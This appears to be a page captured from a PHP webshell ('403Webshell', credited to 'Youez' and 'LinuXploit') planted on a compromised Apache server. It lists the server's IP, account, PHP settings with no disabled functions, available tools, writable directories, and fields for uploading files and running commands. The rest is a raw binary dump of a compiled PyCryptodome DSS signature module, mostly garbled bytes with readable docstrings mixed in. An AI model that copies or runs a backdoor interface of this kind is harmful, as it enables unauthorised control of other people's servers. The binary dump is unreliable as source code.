403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Cryptodome/Signature/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/Signature/__pycache__/DSS.cpython-311.pyc
�

8�tcv<����dgZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZGd�d	e
��ZGd
�de��ZGd�d
e��ZGd�de��Zdd�ZdS)�new�)�DerSequence)�
long_to_bytes)�Integer)�HMAC)�EccKey)�DsaKeyc�6�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	dS)	�DssSigSchemezoA (EC)DSA signature object.
    Do not instantiate directly.
    Use :func:`Cryptodome.Signature.DSS.new`.
    c��||_||_||_|j���|_|jdz
dzdz|_dS)z�Create a new Digital Signature Standard (DSS) object.

        Do not instantiate this object directly,
        use `Cryptodome.Signature.DSS.new` instead.
        ��N)�_key�	_encoding�_order�size_in_bits�_order_bits�_order_bytes)�self�key�encoding�orders    �:/usr/lib/python3/dist-packages/Cryptodome/Signature/DSS.py�__init__zDssSigScheme.__init__4sO����	�!�������;�3�3�5�5���!�-��1�a�7�!�;�����c�4�|j���S)zRReturn ``True`` if this signature object can be used
        for signing messages.)r�has_private)rs r�can_signzDssSigScheme.can_signBs���y�$�$�&�&�&rc� �td����NzTo be provided by subclasses��NotImplementedError�r�msg_hashs  r�_compute_noncezDssSigScheme._compute_nonceH���!�"@�A�A�Arc� �td���r r!r#s  r�_valid_hashzDssSigScheme._valid_hashKr&rc�����|��std�����|��}tj|���d�j���}�j�||��}�j	dkr"d�
�fd�|D����}n!t|�����}|S)a�Produce the DSA/ECDSA signature of a message.

        :parameter msg_hash:
            The hash that was carried out over the message.
            The object belongs to the :mod:`Cryptodome.Hash` package.

            Under mode *'fips-186-3'*, the hash must be a FIPS
            approved secure hash (SHA-1 or a member of the SHA-2 family),
            of cryptographic strength appropriate for the DSA key.
            For instance, a 3072/256 DSA key can only be used
            in combination with SHA-512.
        :type msg_hash: hash object

        :return: The signature as a *byte string*
        :raise ValueError: if the hash algorithm is incompatible to the (EC)DSA key
        :raise TypeError: if the (EC)DSA key has no private half
        �Hash is not sufficiently strongN�binaryrc�:��g|]}t|�j����S�)rr)�.0�xrs  �r�
<listcomp>z%DssSigScheme.sign.<locals>.<listcomp>ms6���4�4�4�%&� -�Q��0A�B�B�4�4�4r)
r(�
ValueErrorr%r�
from_bytes�digestrr�_signr�joinr�encode)rr$�nonce�z�sig_pair�outputs`     r�signzDssSigScheme.signNs����&����)�)�	@��>�?�?�?��#�#�H�-�-��
��x���0�0�1C�$�2C�1C�D�E�E���9�?�?�1�e�,�,���>�X�%�%��X�X�4�4�4�4�*2�4�4�4�5�5�F�F�!��*�*�1�1�3�3�F��
rc��|�|��std���|jdkrVt|��d|jzkrtd���d�|d|j�||jd�fD��\}}n�	t���|d���}n$#ttf$rtd	���wxYwt|��dks|���std
���t|d��t|d��}}d|cxkr|j
krnnd|cxkr|j
ksntd
���tj|���d|j���}|j
�|||f��}|std���dS)a�Check if a certain (EC)DSA signature is authentic.

        :parameter msg_hash:
            The hash that was carried out over the message.
            This is an object belonging to the :mod:`Cryptodome.Hash` module.

            Under mode *'fips-186-3'*, the hash must be a FIPS
            approved secure hash (SHA-1 or a member of the SHA-2 family),
            of cryptographic strength appropriate for the DSA key.
            For instance, a 3072/256 DSA key can only be used in
            combination with SHA-512.
        :type msg_hash: hash object

        :parameter signature:
            The signature that needs to be validated
        :type signature: byte string

        :raise ValueError: if the signature is not authentic
        r*r+�z'The signature is not authentic (length)c�6�g|]}tj|����Sr-)rr2)r.r/s  rr0z'DssSigScheme.verify.<locals>.<listcomp>�s9�� J� J� J�$%�!(� 2�1� 5� 5� J� J� JrNT)�strictz$The signature is not authentic (DER)z,The signature is not authentic (DER content)rr
z"The signature is not authentic (d)zThe signature is not authenticF)r(r1r�lenrr�decode�
IndexError�hasOnlyIntsrrr2r3r�_verify)rr$�	signature�r_prime�s_prime�der_seqr8�results        r�verifyzDssSigScheme.verify|s
��*����)�)�	@��>�?�?�?��>�X�%�%��9�~�~�!�d�&7�"7�8�8� �!J�K�K�K� J� J�*3�4F�T�5F�4F�*G�*3�D�4E�4F�4F�*G�*I� J� J� J��G�W�W�
I�%�-�-�.�.�y��.�F�F�����
�+�
I�
I�
I� �!G�H�H�H�
I�����7�|�|�q� � ��(;�(;�(=�(=� � �!O�P�P�P�&�w�q�z�2�2�G�G�A�J�4G�4G�W�G��G�)�)�)�)�d�k�)�)�)�)�)�1�w�3L�3L�3L�3L���3L�3L�3L�3L��A�B�B�B���x���0�0�1C�$�2C�1C�D�E�E����"�"�1�w��&8�9�9���	?��=�>�>�>��us�#B+�+!CN)
�__name__�
__module__�__qualname__�__doc__rrr%r(r;rJr-rrrr.s��������
<�<�<�'�'�'�B�B�B�B�B�B�,�,�,�\/�/�/�/�/rrc�<��eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Z�xZ	S)�DeterministicDsaSigSchemec�j��tt|���|||��||_dS�N)�superrPr�_private_key)rrrr�private_key�	__class__s     �rrz"DeterministicDsaSigScheme.__init__�s4���
�'��.�.�7�7��X�u�M�M�M�'����rc��tj|��}|j���}t	|��dz}||kr|||z
z}|S)zSee 2.3.2 in RFC6979r)rr2rrr@)r�bstrrI�q_len�b_lens     r�	_bits2intz#DeterministicDsaSigScheme._bits2int�sR���#�D�)�)����(�(�*�*���D�	�	�A�
���5�=�=����
�&�F��
rc�X�d|cxkr|jksnJ�t||j��S)zSee 2.3.3 in RFC6979r)rrr)r�	int_mod_qs  r�_int2octetsz%DeterministicDsaSigScheme._int2octets�s>���9�*�*�*�*�t�{�*�*�*�*�*�*��Y��(9�:�:�:rc��|�|��}||jkr|}n
||jz
}|�|��S)zSee 2.3.4 in RFC6979)r[rr^)rrX�z1�z2s    r�_bits2octetsz&DeterministicDsaSigScheme._bits2octets�sI���^�^�D�
!�
!��
������B�B��d�k�!�B�����#�#�#rc�X�|���}d|jz}d|jz}dD]�}tj|||z|�|j��z|�|��z|�����}tj|||�����}��d}d|cxkr|jks�n|dkrStj||dz|�����}tj|||�����}d}t|��|j	krEtj|||�����}||z
}t|��|j	k�E|�
|��}d|cxkr|jk��n��|S)z!Generate k in a deterministic way��)rerd���rr)r3�digest_sizerrr^rTrbrr@rr[)r�mhash�h1�mask_v�nonce_k�int_octr7�mask_ts        rr%z(DeterministicDsaSigScheme._compute_nonce�s���
�\�\�^�^���5�,�,���E�-�-��)�	?�	?�G��h�w�%��/�#�/�/��0A�B�B� C�#�0�0��4�4� 5�6;�=�=�>D�V�X�X�
�
�X�g�v�u�5�5�<�<�>�>�F�F����u�*�*�*�*�t�{�*�*�*�*���{�{��(�7�F�W�,<�#(�*�*�*0�&�(�(����'�6�5�9�9�@�@�B�B���F��f�+�+�� 1�1�1���'�6�5�9�9�@�@�B�B���&� ���f�+�+�� 1�1�1�
�N�N�6�*�*�E�!�u�*�*�*�*�t�{�*�*�*�*�*�"�rc��dS)NTr-r#s  rr(z%DeterministicDsaSigScheme._valid_hash�s���tr)
rKrLrMrr[r^rbr%r(�
__classcell__�rVs@rrPrP�s��������(�(�(�(�(�	�	�	�;�;�;�$�$�$�&�&�&�P������rrPc�.��eZdZdZ�fd�Zd�Zd�Z�xZS)�FipsDsaSigScheme))i�)���)rt�)irvc���tt|���|||��||_t	|j�����}||jf|jvrd||jfz}t|���dS)Nz+L/N (%d, %d) is not compliant to FIPS 186-3)
rSrrr�	_randfuncr�prr�_fips_186_3_L_Nr1)rrrr�randfunc�L�errorrVs       �rrzFipsDsaSigScheme.__init__s����
���%�%�.�.�s�H�e�D�D�D�!����C�E�N�N�'�'�)�)��
�t�� ��(<�<�<�B��4�+�,�-�E��U�#�#�#�=�<rc�D�tjd|j|j���S�Nr
)�
min_inclusive�
max_exclusiver{)r�random_rangerrxr#s  rr%zFipsDsaSigScheme._compute_nonces(���#�!�26�+�-1�^�=�=�=�	=rc�L�|jdkp|j�d��S)z*Verify that SHA-1, SHA-2 or SHA-3 are usedz
1.3.14.3.2.26z2.16.840.1.101.3.4.2.)�oid�
startswithr#s  rr(zFipsDsaSigScheme._valid_hashs,�����/�A���'�'�(?�@�@�	Br)rKrLrMrzrr%r(rorps@rrrrr�sd�������
�O�$�$�$�$�$�=�=�=�B�B�B�B�B�B�Brrrc�*��eZdZ�fd�Zd�Zd�Z�xZS)�FipsEcDsaSigSchemec�j��tt|���|||��||_dSrR)rSr�rrx)rrrrr{rVs     �rrzFipsEcDsaSigScheme.__init__ s1���
� �$�'�'�0�0��h��F�F�F�!����rc�X�tjd|jjj|j���Sr)rr�r�_curverrxr#s  rr%z!FipsEcDsaSigScheme._compute_nonce$s.���#�!�26�)�2B�2H�-1�^�=�=�=�	=rc��|jj���}d}d}d}|j|vr|dkS|j|vr|dkS|j|vS)z�Verify that SHA-[23] (256|384|512) bits are used to
        match the security of P-256 (128 bits), P-384 (192 bits)
        or P-521 (256 bits))z2.16.840.1.101.3.4.2.1z2.16.840.1.101.3.4.2.8)z2.16.840.1.101.3.4.2.2z2.16.840.1.101.3.4.2.9)z2.16.840.1.101.3.4.2.3z2.16.840.1.101.3.4.2.10rvi�)r�pointQrr�)rr$�modulus_bits�sha256�sha384�sha512s      rr(zFipsEcDsaSigScheme._valid_hash)sf��
�y�'�4�4�6�6��G��G��G���<�6�!�!��3�&�&�
�\�V�
#�
#��3�&�&��<�6�)�)r)rKrLrMrr%r(rorps@rr�r�sV�������"�"�"�"�"�=�=�=�
*�*�*�*�*�*�*rr�r+Nc�F�|dvrtd|z���t|t��r|jj}d}nXt|t
��rt
|j��}d}n,tdtt|����z���|�
��rt||��}nd}|dkrt||||��S|dkr9t|t��rt||||��St||||��Std	|z���)
a�
Create a signature object :class:`DSS_SigScheme` that
    can perform (EC)DSA signature or verification.

    .. note::
        Refer to `NIST SP 800 Part 1 Rev 4`_ (or newer release) for an
        overview of the recommended key lengths.

    :parameter key:
        The key to use for computing the signature (*private* keys only)
        or verifying one: it must be either
        :class:`Cryptodome.PublicKey.DSA` or :class:`Cryptodome.PublicKey.ECC`.

        For DSA keys, let ``L`` and ``N`` be the bit lengths of the modulus ``p``
        and of ``q``: the pair ``(L,N)`` must appear in the following list,
        in compliance to section 4.2 of `FIPS 186-4`_:

        - (1024, 160) *legacy only; do not create new signatures with this*
        - (2048, 224) *deprecated; do not create new signatures with this*
        - (2048, 256)
        - (3072, 256)

        For ECC, only keys over P-256, P384, and P-521 are accepted.
    :type key:
        a key object

    :parameter mode:
        The parameter can take these values:

        - *'fips-186-3'*. The signature generation is randomized and carried out
          according to `FIPS 186-3`_: the nonce ``k`` is taken from the RNG.
        - *'deterministic-rfc6979'*. The signature generation is not
          randomized. See RFC6979_.
    :type mode:
        string

    :parameter encoding:
        How the signature is encoded. This value determines the output of
        :meth:`sign` and the input to :meth:`verify`.

        The following values are accepted:

        - *'binary'* (default), the signature is the raw concatenation
          of ``r`` and ``s``. It is defined in the IEEE P.1363 standard.

          For DSA, the size in bytes of the signature is ``N/4`` bytes
          (e.g. 64 for ``N=256``).

          For ECDSA, the signature is always twice the length of a point
          coordinate (e.g. 64 bytes for P-256).

        - *'der'*, the signature is a ASN.1 DER SEQUENCE
          with two INTEGERs (``r`` and ``s``). It is defined in RFC3279_.
          The size of the signature is variable.
    :type encoding: string

    :parameter randfunc:
        A function that returns random *byte strings*, of a given length.
        If omitted, the internal RNG is used.
        Only applicable for the *'fips-186-3'* mode.
    :type randfunc: callable

    .. _FIPS 186-3: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf
    .. _FIPS 186-4: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf
    .. _NIST SP 800 Part 1 Rev 4: http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf
    .. _RFC6979: http://tools.ietf.org/html/rfc6979
    .. _RFC3279: https://tools.ietf.org/html/rfc3279#section-2.2.2
    )r+�derzUnknown encoding '%s'�dr/zUnsupported key type Nzdeterministic-rfc6979z
fips-186-3zUnknown DSS mode '%s')r1�
isinstancerr�rr	r�q�str�typer�getattrrPr�rr)r�moderr{r�private_key_attrrUs       rrr<s7��V�(�(�(��0�8�;�<�<�<��#�v���C��
� �����	�C��	 �	 �C�����������0�3�t�C�y�y�>�>�A�B�B�B�
�������c�#3�4�4������&�&�&�(��h��{�K�K�K�	
��	�	��c�6�"�"�	D�%�c�8�U�H�E�E�E�#�C��5�(�C�C�C��0�4�7�8�8�8r)r+N)�__all__�Cryptodome.Util.asn1r�Cryptodome.Util.numberr�Cryptodome.Math.Numbersr�Cryptodome.Hashr�Cryptodome.PublicKey.ECCr�Cryptodome.PublicKey.DSAr	�objectrrPrrr�rr-rr�<module>r�sd��D�'��-�,�,�,�,�,�0�0�0�0�0�0�+�+�+�+�+�+� � � � � � �+�+�+�+�+�+�+�+�+�+�+�+�}�}�}�}�}�6�}�}�}�@K�K�K�K�K��K�K�K�\B�B�B�B�B�|�B�B�B�D*�*�*�*�*��*�*�*�<d9�d9�d9�d9�d9�d9r

Youez - 2016 - github.com/yon3zu
LinuXploit